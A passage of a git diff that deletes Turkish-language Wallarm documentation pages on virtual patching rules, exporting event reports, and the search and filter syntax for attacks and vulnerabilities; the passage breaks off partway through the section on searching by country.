-[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# Sanal Yama - -Uygulamanızın kodundaki kritik bir [güvenlik açığını](../../user-guides/vulnerabilities.md) hızla gidermek veya gerekli güncellemeleri kurmak mümkün olmadığında, bu güvenlik açıklarının istismar edilmesine olanak tanıyabilecek uç noktalara yönelik tüm veya belirli istekleri engellemek için bir sanal yama oluşturabilirsiniz. Sanal yama, [allowlisted](../ip-lists/overview.md) IP’lerden gelenler hariç, monitoring and safe blocking [modlarında](../../admin-en/configure-wallarm-mode.md) bile istekleri engeller. - -Wallarm, sanal yama oluşturmak için aşağıdaki [kuralları](../../user-guides/rules/rules.md) sağlar: - -* **Create a virtual patch** kuralı - seçilen kısmında [bilinen](../../attacks-vulns-list.md) saldırı göstergelerinden (SQLi, SSTi, RCE vb.) birini içeren istekleri engelleyen bir sanal yama oluşturmanıza olanak tanır. Ayrıca, herhangi bir saldırı göstergesi olmadan belirli istekleri engellemek için **Any request** seçeneğini belirleyebilirsiniz. -* **Virtual patch** seçeneği işaretli **Create regexp-based attack indicator** kuralı - düzenli ifadelerle tanımladığınız kendi saldırı göstergelerinizi veya kendi engelleme nedeninizi (bkz. [örnek](#blocking-all-requests-with-incorrect-x-authentication-header)) içeren istekleri engelleyen bir sanal yama oluşturmanıza olanak tanır. Düzenli ifadeye dayalı kuralla çalışma ayrıntıları [burada](../../user-guides/rules/regex-rule.md) açıklanmaktadır. - -## Kuralın oluşturulması ve uygulanması - ---8<-- "../include/rule-creation-initial-step.md" -1. **Mitigation controls** öğesini seçin → - - * **Virtual patch** veya - * **Custom attack detector** (**Virtual patch** seçeneği ile - [ayrıntılar](../../user-guides/rules/regex-rule.md)) - -1. **If request is** alanında, kuralın uygulanacağı kapsamı [tanımlayın](rules.md#configuring). -1. Genel **Create a virtual patch** kuralı için, tüm isteklerin mi yoksa yalnızca belirli saldırı göstergeleri içerenlerin mi engelleneceğini ayarlayın (**Any request** vs. **Selected**). -1. **In this part of request** bölümünde, kuralı uygulamak istediğiniz istek noktalarını belirtin. Wallarm, seçilen istek parametreleri için aynı değerlere sahip istekleri kısıtlayacaktır. - - Kullanılabilir tüm noktalar [burada](request-processing.md) açıklanmıştır; özel kullanım durumunuza uyanları seçebilirsiniz. - -1. [Kuralın derlenip filtreleme düğümüne yüklenmesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -## Kural örnekleri - -### Seçili uç nokta için belirli isteklerin engellenmesi - -Diyelim ki uygulamanızın `example.com/purchase` uç noktasından erişilen çevrimiçi satın alma bölümü, `refresh` sorgu dizesi parametresi işlendiğinde çöküyor. Hata düzeltilene kadar, çöküşe yol açan istekleri engellemeniz gerekiyor. - -Bunu yapmak için, ekran görüntüsünde gösterildiği gibi **Create a virtual patch** kuralını ayarlayın: - -![Herhangi bir istek türü için sanal yama][img-vpatch-example2] - -### Keşfedilmiş ancak henüz düzeltilmemiş güvenlik açığının istismar girişimlerinin engellenmesi - -Diyelim ki `example.com` alan adından erişilen uygulamanızda keşfedilmiş ancak henüz giderilmemiş bir güvenlik açığı var: uygulamanın `id` parametresi SQL injection saldırılarına karşı zafiyet içeriyor. Bu sırada Wallarm filtreleme düğümü monitoring mode olarak ayarlanmış olsa da, güvenlik açığının istismar girişimlerini derhal engellemeniz gerekiyor. - -Bunu yapmak için, ekran görüntüsünde gösterildiği gibi **Create a virtual patch** kuralını ayarlayın: - -![Belirli bir istek türü için sanal yama][img-vpatch-example1] - -### Hatalı `X-AUTHENTICATION` başlığına sahip tüm isteklerin engellenmesi {#blocking-all-requests-with-incorrect-x-authentication-header} - ---8<-- "../include/waf/features/rules/rule-vpatch-regex.md" - -## Sanal yamalar için API çağrıları - -Sanal yamalar oluşturmak için Wallarm API’sini doğrudan çağırabilirsiniz. Örnekleri inceleyin: - -* [`/my/api/*` adresine gönderilen tüm istekleri engelleyecek sanal yamayı oluşturun](../../api/request-examples.md#create-the-virtual-patch-to-block-all-requests-sent-to-myapi) -* [Belirli bir application instance ID için, `/my/api/*` adresine gönderilen tüm istekleri engelleyecek sanal yamayı oluşturun](../../api/request-examples.md#create-the-virtual-patch-for-a-specific-application-instance-id-to-block-all-requests-sent-to-myapi) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/search-and-filters/custom-report.md b/docs/latest-tr/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 90189cb610..0000000000 --- a/docs/latest-tr/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1,41 +0,0 @@ -[img-custom-report]: ../../images/user-guides/search-and-filters/custom-report.png -[link-using-search]: use-search.md - -# Rapor Oluşturma - -Olayları filtreleyebilir ve sonuçları PDF veya CSV raporu olarak dışa aktarabilirsiniz. Wallarm, oluşturulan raporu belirtilen adrese e‑postayla gönderir. - -PDF, görsel olarak zengin bir rapordur; veri analizi ve sunum için uygundur. Bu rapor şunları içerir: - -* attacks, vulnerabilities ve incidents için özetler -* Olaylara ilişkin ayrıntılı bilgiler - -CSV, filtreyle eşleşen her bir olayın ayrıntılarını içerir ve teknik amaçlar için uygundur. Bunu panolar oluşturmak, benzersiz saldırgan IP’lerini elde etmek, saldırıya uğrayan API ana makineleri/uygulamalarının bir listesini üretmek vb. için kullanabilirsiniz. - -CSV raporu, birden fazla CSV dosyası içerebilir; her bir olay türü için bir tane - attack, incident, vulnerability. Her CSV en fazla 10,000 olayı içerir ve en çok Hits olan olaylara göre sıralanır. - -## Oluşturma - -Wallarm Console’da, raporlar **Attacks**, **Incidents** veya **Vulnerabilities** bölümünden oluşturulabilir. Hangi bölümü kullanırsanız kullanın, rapor tüm olay türlerini içerir - attacks, incidents ve vulnerabilities. Rapor içeriği mevcut filtrelere bağlıdır. attacks için uygulanan filtreler otomatik olarak incidents için de uygulanır ve bunun tersi de geçerlidir. vulnerabilities için rapor, her zaman o anda aktif vulnerabilities listesini içerir. - -Rapor oluşturmak için: - -1. Wallarm Console’da **Attacks**, **Incidents** veya **Vulnerabilities** bölümüne gidin. -1. Olayları [Filtreleyin][link-using-search]. -1. **Report**’a (veya **Vulnerabilities** için **PDF/CSV**’ye) tıklayın ve PDF veya CSV’yi seçin. -1. **Send to** e-posta adresini ayarlayın. - - ![Rapor oluşturma penceresi][img-custom-report] -1. **Export**’a tıklayın. Wallarm raporu oluşturacak ve e‑postayla gönderecektir. - -## Önceki raporları indirme - -Son 3 PDF rapor, [vulnerabilities için oluşturulanlar](../vulnerabilities.md#downloading-vulnerability-report) dahil, oluşturulma tarihinden itibaren 6 ay boyunca saklanır. - -Gerekirse, bunları Export penceresinden indirin. - -## E-posta ile düzenli raporlar alma - -PDF raporunu e‑posta ile düzenli olarak - günlük, haftalık veya aylık - alabilirsiniz. Bu rapor, ilgili dönem için attacks, incidents verilerini ve aktif vulnerabilities’i içerir. - -Bu tür bir raporu alıp almayacağınızı ve ne sıklıkta alacağınızı [e-posta raporu](../../user-guides/settings/integrations/email.md) entegrasyonunu yapılandırarak belirleyin. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/search-and-filters/use-search-vuln.md b/docs/latest-tr/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index f78b62eaad..0000000000 --- a/docs/latest-tr/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1,83 +0,0 @@ -[al-sqli]: ../../attacks-vulns-list.md#sql-injection -[al-xss]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[al-rce]: ../../attacks-vulns-list.md#remote-code-execution-rce -[al-path-traversal]: ../../attacks-vulns-list.md#path-traversal -[al-crlf]: ../../attacks-vulns-list.md#crlf-injection -[al-open-redirect]: ../../attacks-vulns-list.md#open-redirect -[al-nosqli]: ../../attacks-vulns-list.md#nosql-injection -[al-xxe]: ../../attacks-vulns-list.md#attack-on-xml-external-entity-xxe -[al-ldapi]: ../../attacks-vulns-list.md#ldap-injection -[al-infoleak]: ../../attacks-vulns-list.md#information-exposure -[al-vuln-comp]: ../../attacks-vulns-list.md#vulnerable-component -[al-ssrf]: ../../attacks-vulns-list.md#serverside-request-forgery-ssrf -[al-csrf]: ../../attacks-vulns-list.md#cross-site-request-forgery-csrf -[al-vuln-component]: ../../attacks-vulns-list.md#vulnerable-component -[ssti-injection]: ../../attacks-vulns-list.md#serverside-template-injection-ssti -[al-weak-jwt]: ../../attacks-vulns-list.md#weak-jwt -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[al-anomaly]: ../../fast/vuln-list.md#anomaly - -# Zafiyet Arama ve Filtreler - -**Vulnerabilities** bölümünde, Wallarm tespit edilen zafiyetler arasında arama için kullanışlı yöntemler sağlar. - -Şunları kullanabilirsiniz: - -* Filtreleme ölçütlerini seçmek için **Filters** -* Doğal dile benzer öznitelik ve değiştiricilerle arama sorguları girmek için **Search field** - -Filters içinde ayarlanan değerler Search field içinde otomatik olarak çoğaltılır; tersi de geçerlidir. - -## Filtreler - -Mevcut filtreler, Wallarm Console içinde, **Filter** düğmesi kullanılarak genişletilip daraltılan filtreler panelinde sunulur. - -![UI'de zafiyet filtreleri](../../images/user-guides/search-and-filters/filters-vuln.png) - -Farklı filtrelerin değerleri seçildiğinde, sonuçlar bu koşulların tümünü karşılar. Aynı filtre için farklı değerler belirtildiğinde, sonuçlar bu koşullardan herhangi birini karşılar. - -## Search field - -Search field, doğal dile benzer öznitelik ve değiştiriciler içeren sorguları kabul eder; bu da sorgu göndermeyi sezgisel hale getirir. Örneğin: - -* `rce high`: yüksek risk seviyesine sahip tüm [RCE](../../attacks-vulns-list.md#remote-code-execution-rce) zafiyetlerini aramak için -* `ptrav medium`: yüksek risk seviyesine sahip tüm [yol geçişi](../../attacks-vulns-list.md#path-traversal) zafiyetlerini aramak için - -Farklı parametrelerin değerleri belirtildiğinde, sonuçlar bu koşulların tümünü karşılar. Aynı parametre için farklı değerler belirtildiğinde, sonuçlar bu koşullardan herhangi birini karşılar. - -!!! info "Öznitelik değerini NOT'a ayarlama" - Bir öznitelik değerini olumsuzlamak için, lütfen öznitelik veya değiştirici adından önce `!` kullanın. Örneğin: düşük risk seviyesine sahip olanlar hariç tüm RCE zafiyetlerini göstermek için `rce !low`. - -Aşağıda arama sorgularında kullanılabilecek öznitelik ve değiştiricilerin listesi yer almaktadır. - -### Zafiyet türüne göre arama - -Arama satırında belirtin: - - -* `sqli`: [SQL enjeksiyonu][al-sqli] zafiyetlerini aramak için. -* `xss`: [siteler arası betik çalıştırma][al-xss] zafiyetlerini aramak için. -* `rce`: [OS komut çalıştırma][al-rce] zafiyetlerini aramak için. -* `ptrav`: [yol geçişi][al-path-traversal] zafiyetlerini aramak için. -* `crlf`: [CRLF enjeksiyonu][al-crlf] zafiyetlerini aramak için. -* `nosqli`: [NoSQL enjeksiyonu][al-nosqli] zafiyetlerini aramak için. -* `xxe`: [XML dış varlık][al-xxe] zafiyetlerini aramak için. -* `ldapi`: [LDAP enjeksiyonu][al-ldapi] zafiyetlerini aramak için. -* `ssti`: [sunucu tarafı şablon enjeksiyonları][ssti-injection] için. -* `infoleak`: [bilgi ifşası][al-infoleak] türündeki zafiyetleri aramak için. -* `vuln_component`: uygulamalarınızın [bileşenleri][al-vuln-comp] ile ilişkili, güncel olmayan veya güvenliği etkileyen hatalar içeren zafiyetleri aramak için. -* `redir`: [açık yönlendirme][al-open-redirect] zafiyetlerini aramak için. -* `idor`: [bozuk nesne düzeyi yetkilendirme (BOLA)][al-bola] zafiyetlerini aramak için. -* `ssrf`: [sunucu tarafı istek sahteciliği (SSRF)][al-ssrf] zafiyetlerini aramak için. -* `csrf`: [siteler arası istek sahteciliği (CSRF)][al-csrf] zafiyetlerini aramak için. -* `weak_auth`: [zayıf JWT][al-weak-jwt] zafiyetlerini aramak için. - -Bir zafiyet adı hem büyük hem de küçük harflerle belirtilebilir: `SQLI`, `sqli` ve `SQLi` eşit derecede doğrudur. - -### Risk seviyesine göre arama - -Arama satırında risk seviyesini belirtin: - -* `low`: düşük risk seviyesi. -* `medium`: orta risk seviyesi. -* `high`: yüksek risk seviyesi. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/search-and-filters/use-search.md b/docs/latest-tr/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 32f218e2b8..0000000000 --- a/docs/latest-tr/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1,439 +0,0 @@ -[al-sqli]: ../../attacks-vulns-list.md#sql-injection -[al-xss]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[al-rce]: ../../attacks-vulns-list.md#remote-code-execution-rce -[al-brute-force]: ../../attacks-vulns-list.md#brute-force-attack -[al-path-traversal]: ../../attacks-vulns-list.md#path-traversal -[al-crlf]: ../../attacks-vulns-list.md#crlf-injection -[al-open-redirect]: ../../attacks-vulns-list.md#open-redirect -[al-nosqli]: ../../attacks-vulns-list.md#nosql-injection -[al-logic-bomb]: ../../attacks-vulns-list.md#data-bomb -[al-xxe]: ../../attacks-vulns-list.md#attack-on-xml-external-entity-xxe -[al-virtual-patch]: ../../attacks-vulns-list.md#virtual-patch -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-ldapi]: ../../attacks-vulns-list.md#ldap-injection -[al-port-scanner]: ../../attacks-vulns-list.md#resource-scanning -[al-infoleak]: ../../attacks-vulns-list.md#information-exposure -[al-vuln-component]: ../../attacks-vulns-list.md#vulnerable-component -[al-overlimit]: ../../attacks-vulns-list.md#resource-overlimit -[email-injection]: ../../attacks-vulns-list.md#email-injection -[ssi-injection]: ../../attacks-vulns-list.md#ssi-injection -[invalid-xml]: ../../attacks-vulns-list.md#invalid-xml -[ssti-injection]: ../../attacks-vulns-list.md#serverside-template-injection-ssti -[overlimit-res]: ../../attacks-vulns-list.md#resource-overlimit - -# Olay Arama ve Filtreler - -Wallarm, tespit edilen olaylar (saldırılar ve olaylar) için uygun arama yöntemleri sağlar. Wallarm Console içindeki **Attacks** ve **Incidents** bölümlerinde aşağıdaki arama yöntemleri mevcuttur: - -* Filtreleme kriterlerini seçmek için **Filters** -* İnsan diline benzer öznitelik ve değiştiricilerle arama sorguları girmek için **Search field** - -Filtrelerde ayarlanan değerler otomatik olarak arama alanına kopyalanır ve tersi de geçerlidir. - -Herhangi bir arama sorgusu veya filtre kombinasyonu **Save a query** tıklanarak kaydedilebilir. - -## Filters - -Mevcut filtreler, Wallarm Console içinde birden fazla biçimde sunulur: - -* **Filter** düğmesi kullanılarak genişletilen ve daraltılan Filters paneli -* Belirli parametre değerlerine sahip olayları hariç tutmak veya yalnızca bunları göstermek için Quick filters - -![UI'de Filters](../../images/user-guides/search-and-filters/filters.png) - -Farklı filtrelerin değerleri seçildiğinde, sonuçlar bu koşulların tümünü sağlayacaktır. Aynı filtre için farklı değerler belirtildiğinde, sonuçlar bu koşullardan herhangi birini sağlayacaktır. - -## Search field - -Arama alanı, sorgu göndermeyi sezgisel hale getiren, insan diline benzer öznitelik ve değiştiricilere sahip sorguları kabul eder. Örneğin: - -* `attacks xss`: tüm [XSS saldırılarını][al-xss] aramak için -* `attacks today`: bugün gerçekleşen tüm saldırıları aramak için -* `xss 12/14/2020`: 14 Aralık 2020 tarihindeki tüm [cross‑site scripting][al-xss] şüpheleri, saldırıları ve olaylarını aramak için -* `p:xss 12/14/2020`: 14 Aralık 2020 itibarıyla xss HTTP istek parametresi içinde (örn. `http://localhost/?xss=attack-here`) tüm türlerdeki tüm şüpheleri, saldırıları ve olaylarını aramak için -* `attacks 9-12/2020`: Eylül-Aralık 2020 arasındaki tüm saldırıları aramak için -* `rce /catalog/import.php`: dünden beri `/catalog/import.php` yolundaki tüm [RCE][al-rce] saldırılarını ve olaylarını aramak için - -Farklı parametrelerin değerleri belirtildiğinde, sonuçlar bu koşulların tümünü karşılar. Aynı parametre için farklı değerler belirtildiğinde, sonuçlar bu koşullardan herhangi birini karşılar. - -!!! info "Öznitelik değerini NOT olarak ayarlama" - Öznitelik değerini olumsuzlamak için, lütfen öznitelik veya değiştirici adından önce `!` kullanın. Örneğin: `attacks !ip:111.111.111.111`, `111.111.111.111` dışındaki herhangi bir IP adresinden kaynaklanan tüm saldırıları göstermek için. - -Aşağıda, arama sorgularında kullanılabilen öznitelik ve değiştiricilerin listesini bulacaksınız. - -### Nesne türüne göre arama - -Arama dizgesine belirtin: - -* `attack`, `attacks`: yalnızca bilinen güvenlik açıklarını hedef almayan saldırıları aramak için. -* `incident`, `incidents`: yalnızca olayları (bilinen bir güvenlik açığından yararlanan saldırılar) aramak için. - -### Saldırı türüne göre arama - -Arama dizgesine belirtin: - -* `sqli`: [SQL injection][al-sqli] saldırılarını aramak için. -* `xss`: [Cross Site Scripting][al-xss] saldırılarını aramak için. -* `rce`: [OS Commanding][al-rce] saldırılarını aramak için. -* `brute`: [brute-force][al-brute-force] saldırılarını ve bu tür saldırılar nedeniyle [denylisted](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) IP’lerden gelen engellenen istekleri aramak için. -* `ptrav`: [path traversal][al-path-traversal] saldırılarını aramak için. -* `crlf`: [CRLF injection][al-crlf] saldırılarını aramak için. -* `redir`: [open redirect][al-open-redirect] saldırılarını aramak için. -* `nosqli`: [NoSQL injection][al-nosqli] saldırılarını aramak için. -* `data_bomb`: [logic bomb][al-logic-bomb] saldırılarını aramak için. -* `ssti`: [Server‑Side Template Injections][ssti-injection] aramak için. -* `invalid_xml`: [güvensiz XML başlığının kullanımı][invalid-xml]nı aramak için. -* `overlimit_res`: [hesaplama kaynaklarının aşırı kullanımını][al-overlimit] hedefleyen saldırıları aramak için. -* `xxe`: [XML External Entity][al-xxe] saldırılarını aramak için. -* `vpatch`: [virtual patches][al-virtual-patch] aramak için. -* `dirbust`: [forced browsing][al-forced-browsing] saldırılarını ve bu tür saldırılar nedeniyle [denylisted](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) IP’lerden gelen engellenen istekleri aramak için. -* `ldapi`: [LDAP injection][al-ldapi] saldırılarını aramak için. -* `scanner`: [port scanner][al-port-scanner] saldırılarını aramak için. -* `infoleak`: [bilgi ifşası][al-infoleak] saldırılarını aramak için. -* `mail_injection`: [Email Injections][email-injection] aramak için. -* `ssi`: [SSI Injections][ssi-injection] aramak için. -* `overlimit_res`: [resource overlimiting][overlimit-res] türündeki saldırıları aramak için. -* `experimental`: [custom regular expression](../rules/regex-rule.md) temelinde tespit edilen deneysel saldırıları aramak için. -* `bola`: [BOLA (IDOR) güvenlik açığını](../../attacks-vulns-list.md#broken-object-level-authorization-bola) istismar eden saldırıları ve bu tür saldırılar nedeniyle [denylisted](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) IP’lerden gelen engellenen istekleri aramak için. -* `mass_assignment`: [Mass Assignment](../../attacks-vulns-list.md#mass-assignment) saldırı girişimlerini aramak için. -* `api_abuse`: [şüpheli bot etkinliğini](../../attacks-vulns-list.md#suspicious-api-activity) aramak için. -* `account_takeover` (4.10.6’dan önce `api_abuse`): [hesap ele geçirme girişimlerini](../../attacks-vulns-list.md#account-takeover) aramak için. -* `scraping` (4.10.6’dan önce `api_abuse`): [scraping girişimlerini](../../attacks-vulns-list.md#scraping) aramak için. -* `security_crawlers` (4.10.6’dan önce `api_abuse`): [security crawlers tarafından gerçekleştirilen tarama girişimlerini](../../attacks-vulns-list.md#security-crawlers) aramak için. -* `resource_consumption`: [unrestricted resource consumption](../../attacks-vulns-list.md#unrestricted-resource-consumption) bot girişimlerini aramak için -* `ssrf`: [Server‑side Request Forgery (SSRF) ve saldırıları](../../attacks-vulns-list.md#serverside-request-forgery-ssrf) aramak için. -* `blocked_source`: **manuel** olarak [denylisted](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) IP’lerden gelen saldırıları aramak için. -* `multiple_payloads`: [Number of malicious payloads](../../admin-en/configuration-guides/protecting-with-thresholds.md) tetikleyicisiyle tespit edilen saldırıları ve bu tür saldırılar nedeniyle [denylisted](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) IP’lerden gelen engellenen istekleri aramak için. -* `credential_stuffing`: çalıntı kimlik doğrulama bilgilerini kullanma girişimlerini ([credential stuffing](../../about-wallarm/credential-stuffing.md)) aramak için. -* `ebpf`: [Wallarm eBPF tabanlı çözümü](../../installation/oob/ebpf/deployment.md) tarafından tespit edilen saldırıları aramak için. -* `file_upload_violation`: [dosya yükleme kısıtlama politikalarının](../../api-protection/file-upload-restriction.md) ihlallerini aramak için. -* `graphql_attacks`: [kuruluşun GraphQL politikasının](../../api-protection/graphql-rule.md) tüm ihlallerini aramak için. Ayrıca, belirli ihlaller şu şekilde aranabilir: - * `gql_doc_size`: izin verilen maksimum toplam sorgu boyutunun ihlali - * `gql_value_size`: izin verilen maksimum değer boyutunun ihlali - * `gql_depth`: izin verilen maksimum sorgu derinliğinin ihlali - * `gql_aliases`: izin verilen maksimum takma ad sayısının ihlali - * `gql_docs_per_batch`: izin verilen maksimum toplu sorgu sayısının ihlali - * `gql_introspection`: yasaklanmış içgözlem sorgusu - * `gql_debug`: yasaklanmış debug modu sorgusu -* `api_specification`: [specification-based](../../api-specification-enforcement/overview.md) tüm ihlalleri aramak için. Ayrıca, belirli ihlaller şu şekilde aranabilir: - * `undefined_endpoint`: spesifikasyonunuzda yer almayan endpoint’i talep etme girişimi - * `undefined_parameter`: spesifikasyonunuzda bu endpoint için yer almayan parametreleri içerdiği için saldırı olarak işaretlenen istekler - * `missing_parameter`: spesifikasyonunuzda gerekli olarak işaretlenen parametreyi veya değerini içermediği için saldırı olarak işaretlenen istekler - * `invalid_parameter_value`: bazı parametre değerleri, spesifikasyonunuzda tanımlanan tür/format ile uyumlu olmadığı için saldırı olarak işaretlenen istekler - * `missing_auth`: gerekli kimlik doğrulama yöntemi bilgilerini içermediği için saldırı olarak işaretlenen istekler - * `invalid_request`: geçersiz JSON içerdiği için saldırı olarak işaretlenen istekler - * yardımcı arama etiketi - `processing_overlimit`: API Specification Enforcement, istekleri spesifikasyonlarla karşılaştırırken sınırlara sahiptir - bu sınırlar aşıldığında, isteği işlemeyi durdurur ve bunu bildiren bir olay oluşturur - * ayrıca bakınız: `spec:''` [burada](#search-by-specification) - -Bir saldırı adı hem büyük hem de küçük harflerle belirtilebilir: `SQLI`, `sqli` ve `SQLi` eşit derecede doğrudur. - -### OWASP en önemli tehditleriyle ilişkili saldırıları arayın - -OWASP tehdit etiketlerini kullanarak OWASP en önemli tehditleriyle ilişkili saldırıları bulabilirsiniz. Bu saldırıları aramak için biçim `owasp_api1_2023` şeklindedir. - -Bu etiketler, OWASP tarafından tanımlanan tehditlerin orijinal numaralandırmasına karşılık gelir. Wallarm, saldırıları 2023 sürümünün OWASP API Top tehditleriyle ilişkilendirir. - -### Bilinen saldırılara göre arama (CVE ve iyi bilinen exploit’ler) - -* `known`: CVE güvenlik açıklarını veya diğer iyi bilinen güvenlik açığı türlerini istismar ettikleri için kesin olarak saldırı olan istekleri aramak için. - - Belirli bir CVE veya başka bir iyi bilinen güvenlik açığı türüne göre saldırıları filtrelemek için, `known` etiketine ek olarak veya ondan ayrı uygun etiketi iletebilirsiniz. Örneğin: `known:CVE-2004-2402 CVE-2018-6008` veya `CVE-2004-2402 CVE-2018-6008`, [CVE-2004-2402](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2402) ve [CVE-2018-6008](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6008) güvenlik açıklarını istismar eden saldırıları aramak için. -* `!known`: potansiyel false positive’ler. Bu istekler az bilinen exploit’ler veya exploit’leri meşru parametre değerlerine dönüştüren bağlam içerebilir. - -CVE ve iyi bilinen exploit’lere göre saldırıları filtrelemek için, olay türleri ve **CVE and exploits** için Quick filters kullanılabilir. - -### API protokollerine göre hits arama - -Hits’i API protokollerine göre filtrelemek için `proto:` veya `protocol:` etiketini kullanın. - -Bu etiket aşağıdaki değerleri alır: - -* `proto:graphql` -* `proto:grpc` -* `proto:websocket` -* `proto:rest` -* `proto:soap` -* `proto:xml-rpc` -* `proto:web-form` -* `proto:webdav` -* `proto:json-rpc` - -### Kimlik doğrulama protokollerine göre hits arama - -Saldırganların kullandığı kimlik doğrulama protokollerine göre hits’i filtrelemek için `auth:` etiketini kullanın. - -Bu etiket aşağıdaki değerleri alır: - -* `auth:none` -* `auth:api-key` -* `auth:aws` -* `auth:basic` -* `auth:bearer` -* `auth:cookie` -* `auth:digest` -* `auth:hawk` -* `auth:jwt` -* `auth:ntlm` -* `auth:oauth1` -* `auth:oauth2` -* `auth:scram` - -### Saldırı hedefine göre arama - -Arama dizgesine belirtin: - -* `client`: istemci verilerine yönelik saldırıları aramak için. -* `database`: veritabanına yönelik saldırıları aramak için. -* `server`: uygulama sunucusuna yönelik saldırıları aramak için. - -### Risk seviyesine göre arama - -Arama dizgesinde risk seviyesini belirtin: - -* `low`: düşük risk seviyesi. -* `medium`: orta risk seviyesi. -* `high`: yüksek risk seviyesi. - -### Olay zamanına göre arama - -Arama dizgesinde zaman aralığını belirtin. Eğer dönem belirtilmezse, arama son 24 saat içinde gerçekleşen olaylar içinde yapılır. - -Dönemi belirtmenin şu yöntemleri vardır: - -* Tarihe göre: `11/10/2020-11/14/2020` -* Tarih ve saate göre (saniyeler dikkate alınmaz): `11/10/2020 11:11`, `11:30-12:22`, `11/10/2020 11:12-01/14/2020 12:14` -* Belirli bir zamana göre ilişkili: `>11/10/20` -* Dize takma adlarını kullanarak: - * `yesterday` dünkü tarihe eşittir - * `today` bugünün tarihine eşittir - * `last `, geçmişteki ilgili birimin başından mevcut tarih ve zamana kadar olan döneme eşittir - - `` olarak `week`, `month`, `year` veya bu birimlerin sayısı kullanılabilir. Örneğin: `last week`, `last 3 month` veya `last 3 months`. - - * `this ` mevcut birime eşittir - - `` olarak `week`, `month`, `year` kullanılabilir. Örneğin: bugün Çarşamba ise `this week`, bu hafta Pazartesi, Salı ve Çarşamba günü tespit edilen olayları döndürür. - -Tarih ve saat biçimi, [profilinizde](../settings/account.md) belirtilen ayarlara bağlıdır: - -* **MDY** seçilirse MM/DD/YYYY -* **DMY** seçilirse DD/MM/YYYY -* **24‑hour** işaretliyse `13:00` -* **24‑hour** işaretli değilse `1pm` - -Ay hem sayı hem de ad olarak belirtilebilir: Ocak için `01`, `1`, `January`, `Jan`. Yıl hem tam biçimde (`2020`) hem de kısaltılmış biçimde (`20`) belirtilebilir. Eğer tarihte yıl belirtilmemişse, geçerli yıl kullanılır. - -### IP adresine göre arama - -IP adresine göre arama yapmak için `ip:` önekini kullanın, ardından şunları belirtebilirsiniz: -* Belirli bir IP adresi, örneğin `192.168.0.1` — bu durumda, saldırının kaynak adresi bu IP adresine karşılık gelen tüm saldırılar ve olaylar bulunacaktır. -* IP adres aralığını tanımlayan bir ifade. -* Bir saldırı veya olayla ilişkili toplam IP adresi sayısı. - -#### IP adresi aralığına göre arama - -Gerekli IP adresi aralığını ayarlamak için şunları kullanabilirsiniz: -* Açık bir IP adres aralığı: - * `192.168.0.0-192.168.63.255` - * `10.0.0.0-10.255.255.255` -* Bir IP adresinin bir kısmı: - * `192.168.` — `192.168.0.0-192.168.255.255` ile eşdeğerdir. `*` değiştiricisiyle gereksiz biçim de kabul edilir — `192.168.*` - * `192.168.0.` — `192.168.0.0-192.168.0.255` ile eşdeğerdir -* İfadedeki son oktet içinde değer aralığı olan bir IP adresi veya onun bir kısmı: - * `192.168.1.0-255` — `192.168.1.0-192.168.1.255` ile eşdeğerdir - * `192.168.0-255` — `192.168.0.0-192.168.255.255` ile eşdeğerdir - - !!! warning "Önemli" - Bir oktet içinde değer aralığı kullanıldığında, sonda nokta konulmaz. - -* Alt ağ önekleri ([CIDR notasyonu](https://tools.ietf.org/html/rfc4632)): - * `192.168.1.0/24` — `192.168.1.0-192.168.1.255` ile eşdeğerdir - * `192.168.0.0/17` — `192.168.0.1-192.168.127.255` ile eşdeğerdir - -!!! note - Yukarıdaki IP adres aralıklarını tanımlama yöntemlerini birleştirebilirsiniz. Bunu yapmak için, gerekli tüm aralıkları ip: önekiyle ayrı ayrı listeleyin. - - **Örnek**: `ip:192.168.0.0/24 ip:10.10. ip:10.0.10.0-128` - -#### IP adresi sayısına göre arama - -Bir saldırı veya olayla ilişkili toplam IP adresi sayısına göre arama yapmak mümkündür (yalnızca saldırılar ve olaylar için): -* `ip:1000+ last month` — son bir ay içinde benzersiz IP adresi sayısı 1000’den fazla olan saldırı ve olayları aramak için (`attacks incidents ip:1000+ last month` ile eşdeğer). -* `xss ip:100+` — tüm cross‑site scripting saldırılarını ve olaylarını aramak için. Saldıran IP adreslerinin (XSS saldırı türü ile) sayısı 100’den azsa, arama sonucu boş olacaktır. -* `xss p:id ip:100+` — id parametresiyle (`?id=aaa`) ilgili tüm XSS saldırılarını ve olaylarını aramak için. Bu, yalnızca farklı IP adreslerinin sayısı 100’ü aştığında sonuç döndürecektir. - -### IP adresinin ait olduğu veri merkezine göre arama - -Saldırıların geldiği IP adresinin ait olduğu veri merkezine göre arama yapmak için `source:` önekini kullanın. - -Bu öznitelik değeri şunlar olabilir: - -* `tor` Tor ağı için -* `proxy` genel veya web proxy sunucusu için -* `vpn` VPN için -* `aws` Amazon için -* `azure` Microsoft Azure için -* `gce` Google Cloud Platform için -* `ibm` IBM Cloud için -* `alibaba` Alibaba Cloud için -* `huawei` Huawei Cloud için -* `rackspace` Rackspace Cloud için -* `plusserver` PlusServer için -* `hetzner` Hetzner için -* `oracle` Oracle Cloud için -* `ovh` OVHcloud için -* `tencent` Tencent için -* `linode` Linode için -* `docean` Digital Ocean için - -### IP adresinin kayıtlı olduğu ülke veya bölgeye göre arama - -Saldırıların geldiği IP adresinin kayıtlı olduğu ülke veya bölgeye göre arama yapmak için `country:` önekini kullanın. - -Ülke/bölge adı, 